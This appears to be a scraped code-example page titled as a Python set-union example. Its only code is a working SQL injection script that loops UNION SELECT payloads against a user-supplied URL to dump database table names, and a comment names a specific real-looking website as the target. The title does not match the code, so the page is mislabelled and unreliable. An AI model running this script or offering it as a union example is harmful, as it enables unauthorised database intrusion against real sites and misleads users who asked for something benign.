how to do union in set python code example

Example: python union query

# pip install requests
import requests

def main():
    # http://www.meggieschneider.com/php/detail.php?id=48
    url = input('Target: ')
    idx = 0
    while True:
        nulls = ', '.join([f'Null as Col{x}' for x in range(idx)])
        if idx > 0:
            nulls = ', ' + nulls
        req = f'id=48 AND 1=2 UNION SELECT table_schema, table_name {nulls} FROM information_schema.tables'
        print(f'''\n
            {req}
            ''')
        r = requests.get(f'{url}?{req}')
        if 'The used SELECT statements have a different number of columns' not in str(r.content):
            print(f'''\n
            {r.text}
            ''')
            break
        idx = idx + 1

if __name__ == '__main__':
    main()